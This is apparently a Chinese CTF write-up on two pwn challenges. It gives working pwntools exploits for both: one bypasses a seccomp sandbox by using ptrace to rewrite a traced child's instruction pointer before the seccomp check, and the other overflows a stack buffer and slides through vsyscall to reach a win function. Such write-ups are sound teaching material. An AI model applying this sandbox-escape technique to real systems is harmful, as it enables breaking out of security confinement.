Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

CanonEvent

题目功能

读入shellcode然后执行

启用了沙盒,规则如下

1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32
0001: 0x35 0x04 0x00 0x00008000 if (A >= 0x8000) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x02 0x00 0x0000003d if (A == wait4) goto 0006
0004: 0x15 0x01 0x00 0x00000065 if (A == ptrace) goto 0006
0005: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS

漏洞点

沙盒规则中规定当rip高位大于0x8000时直接ALLOW无视沙盒规则
而在syscall trace流程中,ptrace实际在seccomp检查之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static long syscall_trace_enter(struct pt_regs *regs, long syscall,
unsigned long work)
{
long ret = 0;

/*
* Handle Syscall User Dispatch. This must comes first, since
* the ABI here can be something that doesn't make sense for
* other syscall_work features.
*/
if (work & SYSCALL_WORK_SYSCALL_USER_DISPATCH) {
if (syscall_user_dispatch(regs))
return -1L;
}

/* Handle ptrace */
if (work & (SYSCALL_WORK_SYSCALL_TRACE | SYSCALL_WORK_SYSCALL_EMU)) {
ret = ptrace_report_syscall_entry(regs);
if (ret || (work & SYSCALL_WORK_SYSCALL_EMU))
return -1L;
}

/* Do seccomp after ptrace, to catch any tracer changes. */
if (work & SYSCALL_WORK_SECCOMP) {
ret = __secure_computing(NULL);
if (ret == -1L)
return ret;
}

/* Either of the above might have changed the syscall number */
syscall = syscall_get_nr(current, regs);

if (unlikely(work & SYSCALL_WORK_SYSCALL_TRACEPOINT))
trace_sys_enter(regs, syscall);

syscall_enter_audit(regs, syscall);

return ret ? : syscall;
}

利用流程

先fork一个子进程,子进程开始先int3中断使得主进程能在shellcraft.cat("./flag")前开始TRACE SYSCALL

主进程用PTRACE去TRACE子进程 SYSCALL,trace第一次触发在syscall入口时修改RIP至一个非法高位地址,即可 bypass seccomp检查进行一次系统调用

之后在执行完syscall后再次触发TRACE SYSCALL,此时将RIP设回合法值继续执行即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/env python3
# Date: 2025-02-22 22:58:26
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

code = """
mov rax, 0x39
syscall
mov r12, rax
cmp rax,0
jne parent
"""

code += shellcraft.ptrace(0, 0, 0, 0)
code += """
int3
"""

code += shellcraft.cat("./flag")
code += """
ret

parent:
"""
code+=shellcraft.wait4("r12",0,0,0)
code += """
continue:
"""

# syscall前, 修改rip为高值
code+=shellcraft.ptrace(0x18,"r12",0,0) #让目标下一个syscall停下来
code+=shellcraft.wait4("r12",0,0,0) #等待目标停下来
code+=shellcraft.ptrace(12,"r12",0,"rsp") #获取寄存器(struct user_regs_struct)到内存data中
code+='''
mov r8,rsp
mov r11,qword ptr [r8+0x78]
'''

code+='''
mov r13, 0x8fffffffffffffff
mov r14, qword ptr[r8+0x80]
mov qword ptr [r8+0x80], r13
'''
code+=shellcraft.ptrace(13,"r12","rsp") # 写回内存

# syscall后,恢复rip原值
code+=shellcraft.ptrace(0x18,"r12",0,0) #让目标下一个syscall停下来
code+=shellcraft.wait4("r12",0,0,0) #等待目标停下来
code+=shellcraft.ptrace(12,"r12",0,"rsp") #获取寄存器(struct user_regs_struct)到内存data中
code+='''
mov r8,rsp
mov qword ptr [r8+0x80], r14
'''
code+=shellcraft.ptrace(13,"r12","rsp") # 写回内存
code+='''
jmp continue
'''

payload = asm(code)
ru("code size: ")
pause()
sl(str(len(payload)))

ru("enter shellcode: ")
s(payload)

ia()

VirtualInsanity (复盘)

题目功能

读入buf然后结束程序

漏洞点

_BYTE buf[32];然而读入0x50字节,导致oob写, 栈溢出
同时存在后门函数win

利用思路

由于没有任何泄露,且返回地址在libc,但栈高位有残留的程序代码段的地址。通过利用vsyscall可以滑动返回地址到程序代码段地址,部分写该地址为后门地址即可。

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


p=process('./chall')
pl=b'a'*0x28+p64(0xFFFFFFFFFF600000)*2+b'\xa9'
p.sendafter(b'leaks!!!\n',pl)
p.interactive()

评论




本站总访问量为 次 访客数为 人